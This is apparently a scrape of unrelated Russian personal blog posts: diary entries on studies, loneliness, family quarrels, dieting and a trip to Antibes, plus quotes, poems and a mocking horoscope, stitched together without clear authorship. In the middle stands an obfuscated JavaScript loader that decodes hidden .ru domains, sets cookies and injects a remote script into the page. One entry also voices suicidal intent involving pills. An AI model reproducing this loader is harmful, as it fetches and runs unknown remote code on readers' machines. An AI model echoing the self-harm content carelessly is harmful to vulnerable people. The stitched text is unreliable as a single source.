Меня почему-то дико раздражает ажиотаж одиноких людей вокруг 14 февраля. Я наверно никогда не пойму всех этих мемосов и цитаток про дсв, в стиле "у всех день влюблённых, пойду поем" "заведу 40 кошек" и тд. Лично я, оставаясь одинокой уже довольно большой период времени, не чувствую себя какой-то ущербной в этот день. Он нечем не отличается от других, я делаю те же дела, что и в обычный день. Мои знакомые у которых есть вторые половинки, выкладывают фотки в инст, я их лайкаю и не предаю особого значению тому, что я одинока. Но каждый год, в интернете вскипает новая волна этих картинок, записей и прочей херни, которая меня бесит. Хоть новости вк не просматривай.

2016 год, как известно, объявлен годом кино. А я хочу, чтобы он стал моим годом саморазвития, годом перемен к лучшему.

Прошел месяц, 1/12 года. А я не сделала абсолютно ничего. Точнее, я сдала сессию, прочитала книгу и посмотрела несколько фильмов и сезон "Друзей". А что-нибудь полезнее? Нет.

Чуть больше года осталось до момента, когда решится вся моя жизнь. Я или выиграю, или пропаду. У меня отсутствует хорошее настроение. Мне все опротивело. Но сейчас - лучшие годы моей жизни. В октябре мне должно исполниться 19 лет. Девятнадцать! Мне страшно. Страшно так быстро взрослеть. Страшно в сорок оглянуться назад и понять, что я скучно жила! Что в восемнадцать я умела только морально страдать!

Срочно нужно менять себя и свою жизнь. Напишу сюда несколько маленьких целей, чтобы не забыть, так как в два часа ночи сидеть за столом и писать ручкой на бумаге - не совсем то, что я хочу.

1. Наладить режим дня. Это главное сейчас. Я разучилась просыпаться раньше десяти, вставать раньше половины двенадцатого и ложиться раньше двух. Нужно научиться вставать рано и высыпаться за шесть часов. Сколько времени я теряю на лишний сон!
2. Начать изучать французский. Я чуть не влюбилась в эту страну благодаря нескольким очень атмосферным фильмам.
3. Пополнять коллекцию помад. Девичьи радости, не больше.
4. Подрабатывать и копить деньги.
5. Развивать слух и голос.
6. зарабатывать себе "автоматы" на учебе.
7. Читать.
8. Смотреть фильмы.
9. Сериалы: "Друзья", "Книжный магазин Блэка", "Сплетница", "Настоящий детектив" второй сезон.
10. Готовить репертуар.
11. Побороть себя и написать Любе с просьбой сходить к одному режиссеру, дабы он помог мне с пунктом 9.
12. Посещать классные мероприятия в городе.
13. Общаться с интересными людьми.
14. Письма и посткроссинг.
15. Меньше интернета, Маринина, меньше!
16. Похудеть.

продолжение следует. наверное.

И теперь печаль на моих плечах танцует с моей гордостью ча-ча-ча

Встречу-конечно, взвизгну да обниму. Время подуспокоило нас обоих. Хотя все, что необходимо сказать ему до сих пор содержится в двух обоймах.

После моего ухода с работы передумали увольнять ту мерзкую, и этот ход мне вообще не понятен: с неё всё началось, они там друг другу волосы вырывали с её напарницей, а выгнали вообще меня. Этих двух мегер разделили по разным сменам-одна работает с моей напарницей, вторая с новой девкой (по ходу, из-за которой они так форсировали мой уход, а то сбежит-а на вакансию мало народу откликается), как вдруг.. Вчера подняли снова объявление! Интересно, кто же следующий? Вроде бы уже "идеальная" комбинация работников, кого ещё они собрались выпереть?

Повздорили из-за ерунды, потому что я баба, поиому что соскучилась, потому что скучаю очень, потому что не можем дуться больше 10 минут, мне тебя нехватает, я тебя жду очень

Хм. Я завтра буду в Пушкинском музее с двумя странными и разными девочками. Я надеюсь, я буду счастлива, или хотя бы не несчастна. Меня гложит эта пустота, после него, этот вакуум, который он снова заполняет, а я не понимаю, нужно мне это или нет.

откуда появляется стыд? вот мы же когда мелкими были совсем не стеснялись купаться голышем в море или реке. а потом наступает какой-то момент когда понимаешь что все. не дело это без трусов по пляжу гонять.. моему племяннику всего 5, а он уже стесняется, чтоб я его купала. причем бабушке (то есть моме маме) он доверяет в этом плане. а главное это произошло как-то резко. по непонятным для меня причинам. и вот я задумалась? почему так происходит… ой да вообще, мне кажется остаайся мы детьми до старости то в жизни счастья было бы больше. ведь дети они такие… ну простые что ли.. они могут пить воображаемый чай из воображаемых кружек, приходить в придуманное кафе с оленем и кормить его пластилиновой морковкой. да и знакомиться намного проще, подошла к себе к мальчику взяла его лопаткуб и все теперь друзья и не заморачиваешься что он о тебе подумает, и что он будет рассматривать тебя исключительно как обьект сексуального пристрастия.

Никак не определюсь. Кого хочу больше на ДР, Макэвоя или Хаммера ? Но судьба такая штука, что получить я могу только "это".

как нам друг без друг прожить и дня

капкан ты самый опасный для меня

— То, что нельзя изменить, давно пора забыть..

Отличное решение начать год с февраля.
Первый месяц был пробный.
Не считается.
Вот только, как не меняй саунтреки, квартиры, окружение -
Ты же никуда не сбежишь от себя.
Ты такая же как и девять лет назад,
с этими идиотскими песнями.
Тебя всё так же динамят.
Любовники, друзья, работодатели, даже родители…
Неизменно только алкогольное опьянение, тоска и разочарование.
И какая разница что там происходит на календаре.

А Новый ли это год?
Нифига.

gifs by x

Nathan Fillion |The Late Show with James Corden

Женщины… любая из них готова на многое, любая может дать все и пойти на самые, казалось бы, немыс- лимые и откровенные вещи, такие, от мысли о кото- рых румянец горит на щеках. Вопрос только в дове- рии. Мужчины часто спешат. Хотят получить от женщины все и сразу, не понимая, что на вершину ее страсти, куда, возможно, ни один мужчина еще и не поднимался, где живет лишь ее фантазия, ведет со- всем другой путь. Доверие. Только тот мужчина, кото- рому она доверяет, получит все и даже больше, чем он может себе представить. Сначала надо получить дове- рие, сохраняя баланс нежности и грубости, не показы- вая прямо своего интереса. Женщины не любят сразу, они любят играть. Они любят, чтобы с ними играли медленно и уверенно, без постыдной спешки. Женщины часто сравнивают себя с кошками, так как им импонирует их природная грациозность и не- зависимый характер. Во многом это сравнение верно, однако, мир полон противоречивых истин. Суть жен- щины – противоречие. Насколько женщины грациоз- ны, свободолюбивы и независимы, настолько же – и даже в большей степени – они готовы прыгнуть в бездну полной зависимости и полного подчинения мужчине. Но, разумеется, не любого мужчины, только достойного. Я говорю о таком подчинении, когда оста- навливается время, когда нет пространства, когда есть только этот момент и все остальное не важно. В мыс- лях приличных женщин больше неприличного, чем в мыслях самых неприличных мужчин. Но не каждый способен дойти до вершины их тайных фантазий.

Официальная страница автора — https://vk.com/d.brilov

кое-как, но смогла затащить эту сессию. серьезно, зачетка меня спасала раза два точно. с другой стороны, ну не стали же бы идти навстречу, будь все совсем плохо. в любом случае, больше не хочу об этом думать, нужно отпустить и начать следующий семестр хорошо, не позволять никому и ничему влиять на учебу.

вообще, третий день каникул. мне подарили на день рождения антиежедневник от кери смит, пытаюсь устроить его так, чтобы дни после каникул были максимально продуктивны. посмотрела наш отечественный сериал "клим". жутко понравился! теперь взялась за "метод". первые четыре серии пошли хорошо, посмотрим, что дальше.

Прости. Сарказм — это всё, что у меня остаётся, когда так тошно. Алекс Флинн "Чудовище"

Я ограничил свой круг общения не в силу социофобии, а в силу того, что не хочу лицемерить и жертвовать. Своим временем, силами, душевным равновесием - все одно. Я не умею говорить людям, что все будет хорошо, когда им это нужно. Не умею делать комплименты, даже из вежливости. Я не умею, да и не хочу учиться терпеть людей, когда мне хочется побыть в одиночестве, а их именно в этот отрезок времени пробивает на болтовню. Я не желаю жертвовать и получать жертвы тоже не жажду.

И пусть лучше люди сразу считают меня эгоцентричным мудаком, чем через несколько дней/недель/месяцев/лет начнут считать меня лицемером или еще хуже - жилеткой для их соплей.

познаешь ответственность, когда иностранка спрашивает у тебя, так ли плохо быть не натуралкой в россии

Не ела все выходные чеснок, хоть и очень хотелось, ибо "вдруг гулять кто-нибудь позовет". АХХА! ЩЩЩАСССС!!! Жри хоть тонну чеснока, никому я не нужна.

еще вчера собиралась написать сюда, но что-то не решалась или было лень…учебная неделя началаться не успела, как нас уже запугали, что мткм у нас будет тестирование и зачет у нас будут принимать преподаватели из других вузов(О_о) это будет просто ужс, а еще у нас не знаю какими словами описать нового преподавателя бжд, вообщем он очень странный хотя прошло только одна практика, но столько домашки ужс просто, а так пока жить можно.перед учебой мне писал В.вроде ничего такого подобного не написал, а я не знай что себе напридумала.скорее всего этого от того, что смотрела две части "Три метра над уровнем неба".Еще забыла, что все плохо с волейболом.просто я у меня страх, что у я не приму мяч и так и получается.вчера был мальчик ну как бы знакомый ну вот я перед ним и стесняюсь Так вот в следующее воскресенье нас хотят забрать на соревнования, но мы толком то и играть не играли. ппрактики толком не было: (.вроде (вот именно вроде) раньше все получалось.И вообще я стала какая трусишка.буду стараться перебаривать этот страх!!!

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

К черту все.Я заебалась.У меня есть достаточно таблеток.
Комент от Р. люблю и куча сердечек.Блять свэтачку я еще выносила.но здесть последняя капля.Я ебала эту жизнь и вас всех тоже.Вселенная, когда ты уже услышишь мое желание? КОГДА? я устала.я жду.мне плохо.а пока что..piiiiiiiills. Все хуйня по всем фронтам.
/почему в побочке то, от чего я лечусь? мне пизда/

Не буду вас грузить большим количеством информации, но не рассказать и не показать фото (кликабельны) не могу. Антиб (иногда Антибы) – город, где я жила и работала в окт-дек.

Итак, Антиб/Antibes — курортный город на Лазурном Берегу Франции. Был основан в VI веке до нашей эры греческими мореплавателями под названием Антиполис. В Средние века город принадлежал Савойе (итальянская династия), а с 1481 года — Франции.

Население составляет около 80 тыс жителей, летом - более 200 тыс. Курортный город всё-таки. Я была там осенью-зимой, в это время там очень спокойно.

Это Замок Гримальди (этот род и по сей день является правителями княжества Монако), в котором находится музей Пабло Пикассо , где художник работал во время своего пребывания в этом славном городе в 1946 году. Мы с Надей были там, посмотрели работы Пикассо и еще раз подумали, что его творчество не для нас.

«Кочевник» или же «Странник », как предпочитаю русскоязычные источники - это статуя человека, созданная из букв. Человек сидит на берегу Средиземного моря, обняв колени. Ночью он подсвечивается и просто невероятно красиво смотрится! Но, к сожалению, в темное время суток проход к нему закрыт. Приходилось любоваться издалека.

Нэн (Нэнси) Голдин никогда, по ее собственному признанию, не стремилась к славе эротоманки и скандалистки. В 15 лет, потрясенная самоубийством старшей сестры, девочка из буржуазной еврейской семьи сообщила своим родным: «Я буду вашим зеркалом». По настоянию своего психотерапевта, Нэн взяла в руки фотоаппарат и принялась снимать все подряд: родителей, родственников, друзей, создавая интимный дневник на фотобумаге. Пока Нэнси училась в школе искусств Бостона, дневник был черно-белым. В 1978 году, после приезда Нэн в Нью-Йорк, ее снимки обрели цвет, а основными темами стали наркотики, насилие, секс, страсть и праздники. Особые праздники Голдин, в которых нет места радости

В этот перечень можно включить и СПИД: многие модели Нэн, ее друзья-маргиналы, больны, и она снимает их день за днем, не выпуская камеру из рук даже в часы похорон. В 1986 году она создает одну из своих первых работ, 45-минутный слайд-фильм, составленный из 800 фотографий, «Баллада сексуальной зависимости» (The Ballad of Sexual Dependency). Центральный снимок этой серии представляет собой автопортрет Нэн с огромными синяками под глазами. Таковы «следы любви», оставленные Голдин покинувшим ее другом Брайном. «Я испытываю только гнев по отношению к мужчинам», – заявляет она. «Баллада» демонстрируется под музыку, Нэн записала что-то вроде попурри, составленного из арий, рока, рэгги и блюзов.

В 1994 году она представляет публике новую главу своего «дневника», его «Другую сторону» (The Other Side). В 1996 серией снимков «Все обо мне» (All By Myself) Нэн сообщает поклонникам о собственном физическом и моральном состоянии. И то, и другое ужасно, но она не скрывает этого.

Конец 90-х печален: Нэн проходит курс дезинтоксикации, хоронит друзей, почти не работает. Однако постепенно к ней приходит второе дыхание. Возможно, это связано с японским фотографом Нубиоси Араки и их совместными проектами. Возможно – с новой любовью Нэн, ставшей ее постоянной моделью, Сиобхан. Ее выставка в центре Помпиду, в Париже, имеет грандиозный успех. В 2004 Нэн показывает публике серию «Сестры, святые и сивиллы» (Sœurs, Saintes et Sibylles).

Нынешний скандал, связанный с обвинениями в педофилии, Нэн Голдин комментировать отказалась. Она, вообще, крайне редко дает интервью, не желая способствовать появлению новых «ярлыков» для определения своего творчества. К тому же фотография не оставляет ей времени для бесед.

и так, у меня уже двести раз спросили как я буду мыть дреды и буду-ли я потом их отрезать под корень :DD
и зачем я вообще это сделала.
бл***, потому что сдохнуть в любой момент могу!

оййййййййй.

Последнее время я стала какая-то раздражительная…. Может, пмс?

Меня просто жутко бесят окружающее, моя группа. ПОСЛЕДНИЙ семестр только начался, а я уже только и слышу: "Ну нахрена нам это надо?… Сколько можно?" и т.д.

Да, я сама не в восторге от своего факультета, и не знаю, что дальше буду делать, но, блин… Лично для меня сейчас идет достаточно интересный цикл, и мы повторяем основы ядерной физики. Это интересно. И даже для кругозора - ценный материал! Тем более со школы никто нихера не помнит. И эти возмущения меня просто бесяят! Вы, блин, че, так много знаете что ли?!

Ладно, я понимаю, если бы это была одна дисциплина, которая неинтересна и не понятна, но они же на ВСЕХ предметах так ноют! Нахера тогда вообще получать вышку, если тебе ничего неинтересно?!

При этом все хотят получать большие "бабки"!

Я считаю, что для того чтобы получать хорошие бабки: нужно быть, либо крутым специалистом, либо человеком-дерьмо, который всех на*бывает.

Не ну правда?

Может быть, я несколько резка, но ведь так и есть. Лично мне хочется шарить во всем и, чтобы был коллективный интерес. Меня очень вдохновляют и восхищают люди, которые фанатеют от своего дела. И ведь зачастую они всего то лет на 5 старше!

А в данной ситуации, мне кажется, что я такая же и деградирую вместе с ними.

Короче, как-то так.

Плюс заступилась за подругу, и теперь гоп-телки с потока чуть ли не стрелу мне забивают. Та еще срань. Ну да ладно, разгребу.

А еще завтра я иду на собеседование, и вы единственные, кому я это рассказываю.)) Работа вообще на дому, и в свободное время. Надеюсь меня все устроит, и я справлюсь. Единственное, мне очень страшно, а вдруг это какая-то "темная контора" и меня надурят?! Я, конечно, понимаю, что это "попахивает" бредом, но а что? В жизни всякое бывает…

Короче, вот такие у меня дела.

У меня еще есть что рассказать (более веселое), но это уже потом. ;)

— Элина Вишнякова

Завтра у подруги День рождения. Не сказала бы, что это очень близкая подруга, но поздравить надо. Меня же в этом году даже пригласили на празднество. Вау! Фанфары и конфети! (сарказм, до кого не дошло)

И дело даже вовсе не в подарке, а в том сюрпризе который планируется. В 12 ночи мы должны завалиться к ней домой с тортиком и 20 свечками (ага, весьма важный пункт), колпаками на головах и 20 шариками (выглядит так, будто их ещё больше, красотееень). После того как именинница задует свечи, торт полетит ей прямо в лицо, дабы она ещё больше прочувствовала праздник. Идеальное преступление. Если вы понимаете о чём я! ;)

Надеюсь только, что всё пройдёт по плану. Она как раз говорила мне сегодня, что жаль торта не купила.

Не знаю подозревает ли она что-то, ведь не первый раз её подобным образом поздравляют, но всё же тортом в морду - впервые. Надеюсь, будет весело и ей и нам.

как сказали, что жрать ничего нельзя, так весь день кушать и хочу =/
при том, что кушаю ж)
даже чайочичек пить низзя =(

Я печатала пальцами по клавиатуре о чем-то хвойном и родном с детства, а мысли лились и летели, пробегали по вокзалам всех городов, где я была, вспоминая, какую легкость я ощущала и как была ненакрашена и улыбчива, сидя на чемоданах. Видно, сердце снова просит дороги

как хорошо…когда идешь дальше)

на просторах инета увидела "злобный гороскоп". и эта полная язвительности статейка так полно отражает моё отношение к жизни и людям, что хочется закрепить её здесь хотя бы для себя самой.

ДЛЯ ЛЮДЕЙ С ЧУВСТВОМ ЮМОРА
– Кто критикует всё, что видит и слышит?
– Кто анализирует каждый свой и каждый наш чих?
– Кто любит и лелеет даже собственные болезни?
– Ясное дело, это – Дева, практичная зануда!

Рождённый под Знаком Девы интеллигентен, и имеет аналитический склад ума, но он слишком большого мнения о себе. В других ценит только эрудицию, и потому часто теряет друзей. Для счастья Девам зачастую не хватает лёгкости общения, хотя многие люди, рожденные под этим Знаком, достигали высоких результатов в избранной деятельности.
Но знайте: если после нескольких минут общения с умным человеком, Вам хочется его расчленить и разослать его останки по нескольким несуществующим адресам, – этот человек по гороскопу, скорее всего, – Дева.
Дева – "Горе от Ума": она непрерывно жуёт свою умственную жвачку, ведя ментальный диалог сама с собой, строя в уме клетки (не всегда золотые), в которых предпочитает жить.
Дева имеет обаяние розовощекой жабы, грациозность слона из посудной лавки, мозги – калькулятора.
Девы – мелочны, скупы, занудливы и сварливы. Своим занудством и своими придирками Девы могут погубить любое дело и довести любого до белого каления. Дева никогда не импровизирует, и составляет подробнейшие, скучнейшие и расписанные до мелочей планы действий и для себя, и для своих близких, невзирая на их протесты.
В подсчётах расходов Дева дотошна, но тратит много. Её поговорки: "Скупой платит дважды" и "Не доплатишь – не доносишь". Недешёвые вещи Дева покупает, не торгуясь. Тем не менее, Девы любят донашивать вещи и колеблются при выбрасывании старых вещей.
Педантизм Девы невыносим. Во всём у неё холодный расчет, а всё, что она делает – тяжелое и скучное.
Девы – мастера интриг, и они не успокоятся, пока весь род своих врагов не изведут до десятого колена.
Самый страшный брак, подобный ядру, прикованному к ноге заключённого, – "Дева + Дева", какой был у Льва Толстого.
Из негативных черт Дев наиболее отталкивающей от них друзей и знакомых – вечный их морализм, граничащий с их ханжеством и с их ограниченностью.
Тело Девы не чувствует себя частью природы. У него нет энергии Овна, запаса жизненных сил Тельца, эластичности Близнецов, выносливости Рака, сопротивляемости Льва. Оно бренно, оно легко устаёт, оно часто выглядит болезненным.
Типичная болезнь Девы - запоры и кишечные спазмы, угрожающие отравить всю систему, если они слишком затягиваются. От них у Девы развивается меланхолия (плохое настроение) и даже индижестия (несварение желудка). Но Дева обладает первоклассной системой железных нервов, и она знает, как сладить с проблемами здоровья. Здесь кредо Девы: "Красоту спасёт клизма!".
Дева следит за симптомами и не даёт плохому усугубляться. Правда, как правило, это приводит к преувеличенному вниманию к здоровью, к мании чистоты, к страху перед микробами, исключающему всякие нормальные контакты, что может вылиться даже в половое воздержание. Правда и то, что у Девы одержимость манией чистоты – периодична, и уже на следующий день Дева может по уши влезть в грязь.
Девы хамят по-иезуитски: с деликатной узкогубой усмешкой они вываливают целый мешок собранных ими доводов. При этом их глазки становятся колючими, а носик – носом-хоботом. И ещё: когда они хамят, они не врут и ничего не домысливают. Вот такие они заразы и язвы!
У Девы нет природного инстинкта что-либо предпринимать. Если их сердце поймано, они отступают, уходят в укрытие, чтобы подумать. Они ненавидят и боятся всякой неизвестности и ожидания. Страсть кажется Деве болезнью души, которую разум должен излечить. Девы анализируют свои чувства, стараясь свести их к минимуму с помощью разума, сомнений, прений и насмешки, будучи тем не менее при этом привязанными к объекту страсти сильнее, чем они думают.
Дева – горячий лёд, и потому не изливает свою любовь словами, предпочитая словам дело. Нежность кажется Деве формой унижения, и она считает себя выше любовного сюсюканья. Гениальный тугодум Дева часто "остаётся на бобах", будучи не в силах выбрать, как буриданов осёл, из двух что-то одно, и именно поэтому ни один Знак не имеет большего количества холостяков и старых дев, до конца дней изолированных в клетке или, как говорят, "в башне из слоновой кости".
Мужчины-Девы занимают 1-е место по импотенции среди всех Знаков Зодиака.

Для Девы благоприятен союз с Козерогом, Тельцом, Скорпионом и Раком, но ей следуют избегать Овна и Стрельца.

P.S. с девочкой помирилась. выводы сделала.

Ни на что конкретно. Я вроде хотела фотоаппарат, но деньги остались, а я просто не знаю на что их потратить.

аwww мои любимки:33

Мне 20 лет и я не старая бабуля, но меня вымораживает наши мед.учреждения. Это ад, чтобы попасть ко врачу тебе необходимо пройти почти "семь кругов ада": записаться к терапевту, попасть к нему, т.е. даже если прийти вовремя по талону, то ты еще хренову тучу времени потратишь на то, чтобы доказать этот факт, затем ты рассказывает свои проблемы врачу и идешь на анализы, хотя нет, ты приходишь утром и стоишь километровую очередь а потом сдаешь анализы. Следующий шаг это колесо фортуны, т.к. эти анализы с большой вероятностью потеряют, потом ты приходишь к терапевту и тебя направляют к другому врачу и тот снова на анализы и это бесконечно и долго… Вывод: платная медицина

Просто лежать и плакать и впервые в жизни ничего не ответить и ненавидеть себя сильнее чем его и решить больше не считаться с его существованием.я больше не могу.соишком много боли.я больше так не хочу.

x

ушки мёрзнут

Раньше мне говорили, что на расстоянии отношения с родными (особенно с родителями) становятся только лучше. Так вот, со мной это не прокатило. Сегодня заметила, что меня реально раздражает каждое мамино слово и вообще, я ее очень люблю, но это просто выносит мой и без того страдающий мозг. Мы уже начинаем думать, что это климакс или что-то вроде того - она ведет себя как девочка 15-ти лет, вот знаете, которые любят выбежать из комнаты, крикнуть что-то типа: "Вы испортили мне жизнь !11121!" и убежать, громко хлопнув дверью. Чевообщетакое?! Ее дома никто не обижает, папа с ней носится, а она только фыркает и по скайпику со своими дальнии "родственниками" (о, это совершенно другой и очень больной разговор) общается. Серьезно, они - седьмая вода на киселе, простой пример - уже три раза зовут ее к себе в гости, и три раза динамят ее в последний момент - то какие-то заботы, то элементарно лгут, что у них какие-то друзья и маме ну никак нельзя ехать (да, та ложь таки раскрылась). В итоге она собирается ехать туда в четвертый раз, спрашивает - "А может, в России (они живут там) немножко долларов поменять, там выгоднее курс? " говорю, мол, когда едешь, и она - "В мае". В МАЕ. СЕЙЧАС ФЕВРАЛЬ, БЛЕАТЬ! И это уже не первый раз, когда она такой фигней выносит мне и всем домашним мозг. И, что самое веселое. Как она реагирует на такие вот подставы с их стороны - просит меня с сестрой удалить их из друзей и сидит скрытая в скайпе, чтоб они думали, что она вот такая вот вся обиделась. Или, что еще веселее - как-то застала ее с коньяком, когда она с одним этим "дальним пятиюродным братом племянника" общалась и пыталась выведать, почему они ее продинамили. ЕЙ 50 ЛЕТ. Почему ??? Ну почему ??? Еще сегодня она завела разговор о том, сколько у меня осталось денег (они мне дали половину денег, которые мне полагаются с продажи бабушкиной квартиры с собой), меня это как то задело, хоть и ответила, но сразу поняла - будут круглые глаза и возгласы в духе, куда ушло столько и как же ж так. Я, конечно, понимаю - может просто интересно. Но, зная мою маму это приемчик в духе - верни, если нам надо будет, ты же сказала, что у тебя есть. ЗА ЧТООО, ЗА ЧТООО?!?!??!?!?!! Как же я зла.

Сегодня был достаточно сложный день. Но я справилась.

Пораньше пришлось встать, собрать до конца все вещи, а вещей очень много, потом переживания без повода. Папа меня накормил, отвез на площадь. Мерс опоздал. А потом гнал, как сумасшедший. Еле дошла до остановки, потом полчаса ещё стояла ждала, когда приедет троллейбус. Дождалась. Доехала. Потом опять еле шла. Хорошо, что на крыльце курили парни, которые мне открыли дверь. Как мииило.

И вот, дошла. Пока приготовила кушать, сходила в душ, поболтала, поела, разобрала вещи, почитала. И вот, лежу в кроватке. Наконец.

Кто из вас в своей жизни хоть раз пилил опилки? Конечно, никто не может пилить опилки. Они уже напилены. То же самое с прошлым. Когда вы начинаете беспокоиться о вещах, которые уже прошли, вы занимаетесь тем, что пилите опилки.

Дейл Карнеги

Одно из самых моих любимых ощущений в жизни – что раннее утро, ты сидишь в какой-то наполненной солнцем кофейне и строишь планы и совершенно ясно даже не понимаешь, а твердо знаешь, что все, абсолютно все – возможно и в твоих силах.
Мир создан для того, чтобы ты сделал его совершеннее, добавил в него красоту, о которой никто, кроме тебя, даже не имеет понятия – и в такое утро ты знаешь, что можешь это сделать. И день только начинается. И мир только начинается. И он бесконечен.

Борис Гребенщиков

Мне не хватает разговоров с тобой, конечно можно считать их монологами, ну и фиг с ним, зато тебе мне хочется рассказывать все, какой фильм посмотрела, что сдела, куда сходила, кинуть новые песни, поиграть в гитар, нооо нет, все, я решила, что трогать сама тебя не стану, и вообще никого…никаких отношений в ближайшие пол года. Меня тошнит от всех. А с тобой это и невозможно.

«Счастье, — рассуждал Остап, — всегда приходит в последнюю минуту. Если вам у Смоленского рынка нужно сесть в трамвай номер 4, а там, кроме четвертого, проходят еще пятый, семнадцатый, пятнадцатый, тридцатый, тридцать первый, Б, Г и две автобусных линии, то уж будьте уверены, что сначала пройдет Г, потом два пятнадцатых подряд, что вообще противоестественно, затем семнадцатый, тридцатый, много Б, снова Г, тридцать первый, пятый, снова семнадцатый и снова Б. И вот, когда вам начнет казаться, что четвертого номера уже не существует в природе, он медленно придет со стороны Брянского вокзала, увешанный людьми. Но пробраться в вагон для умелого трамвайного пассажира совсем не трудно. Нужно только, чтоб трамвай пришел. Если же вам нужно сесть в пятнадцатый номер, то не сомневайтесь: сначала пройдет множество вагонов всех прочих номеров, проклятый четвертый пройдет восемь раз подряд, а пятнадцатый, который еще так недавно ходил через каждые пять минут, станет появляться не чаще одного раза в сутки. Нужно лишь терпение, и вы дождетесь».

И. Ильф, Е. Петров «Двенадцать стульев»

Приходила зима и тянулась почти что век,
Вырезая из памяти кадры, секунды, дни.
Всё пройдёт, говорю себе. Снова тихо ложится снег.
Даже если мы будем с кем-то -
всё равно мы всегда одни.

Я пытаюсь заствить себя сесть на диету. Ну как "диету", ограничить себя в сладком, мучном, жирном и бла-бла. По сути, это и есть диета. Любое ограничение по выбору продуктов пищи - диета. Еще и по собственной воле… брр..

Но у меня остаются все эти фотографии еды, которую так хочется. Осталось только убедить себя, что просто посмотреть будет достаточно, что мне не захочется пойти и жарить картошку в 10 вечера (а так и будет).

Просто я поспорила, не знаю зачем, азарт. Что смогу похудеть на 12 кг. И это еще тогда казалось ужасно нереальным убийственным.

А пока я буду смотреть на кексики и думать, что именно завтра я перестану заедать боль и разочарование дня шоколадом.

Ммммм так вкусно, почти мильпопс

Странно, но я ни с кем не хочу делиться переживаниями. Не отвеченные звонки на мобильном, непрочитанные имейлы, смс. Не ищу друзей. нет желания с кем либо разговаривать. Молчать. Молчать. Молчать. Эльчин Сафарли

Я все сделала, как она мне сказала.Я и сама неплохо знала этого человека.

Я знала, что он меня так просто не отпустит. Прекрасно знала. Меня никто никогда так сильно не любил. Никто и никогда. Я чувствовала, я знала это.

Я знаю какого это, когда тебя предают, понимаете? Знаю. Вместо сердца остается огромная дыра и ты годами пытаешься забыть, но снишь постоянно, занова учишься верить, жить, любить. Никому этого не пожелаю, даже ей. Я бы просто не смогла спокойно жить зная, что из-за меня кто-то страдает. Просто не смогла бы. Эти мысли не покидали меня. Я все время все перекручивала в своей голове, я сомневалась, терзала себя. И приняла решения за двоих..

Я стала в его глазах той, от которой он бежал, только в разы хуже. И не прогадала. Актриса…

Только когда услышала от него заветное слово, будто землю из под ног выбили. Я сама этого добивалась. Я знала на что шла. Но почему же так больно?

Пожалуйста, не надо на меня подписываться. Тут ничего интересного. И к тому же вы меня смущаете.

Я плачу, потому что люди вокруг меня тупы, и мне грустно.

© Теория большого взрыва

не злись на свою маму, вона не винна, що ти далбайоб.

Душа просила перемен,
И сердце тоже поддержало,
Поэтому в один момент
Все бросила и убежала.
Я убежала далеко,
Туда где море, солнце, горы…
Волной печали унесло,
Душа почуяла свободу.
Вернусь в Москву, А там метель,
И старой клетки прутья,
Ах, не кончайся мой апрель,
Не надо серой жути.

Белова С.

Я не терплю лжецов и хамов,
Я не терплю гнилых людей.
Ты не разыгрывай мне драму,
Катись ка в ад смешить своих чертей.
Я не терплю двусмысленность
И фразы,
Которые ты мне и ей произносил.
Смотрю в глаза, кривлюсь - вот это гадость!
И как же ты в себя меня влюбил?
Я не терплю, когда не держишь слово,
Неуважения я тоже не терплю.
Зачем мне лгать?
Ты трус,
это не ново,
Не надо мне звёзд с неба обещать.
----------

И пусть в моем стихе кривая рифма,
И ритм тут будет тоже невпопад,
Но в нашем слове мы навеки будем живы,
С укором не посмотрим мы назад.

Белова С.

выхожу с собаками гулять, кому-то привезли кровать, ну грузчики её в подъезд затаскивают, как обычно начали типа "не укусят и бла бла бла", ну ладно, я погуляла, все нормально, захожу обратно в подъезд, они собираются по лестнице тащить, далее такой диалог:
-можно я быстренько пробегу, пока вы не перегородили все?
- о, это опять очаровательная девушка с собаками! Как вы с ними справляетесь?
- нормально, с помощью такой-то матери - универсальная команда!
- ага, и на людей действует.

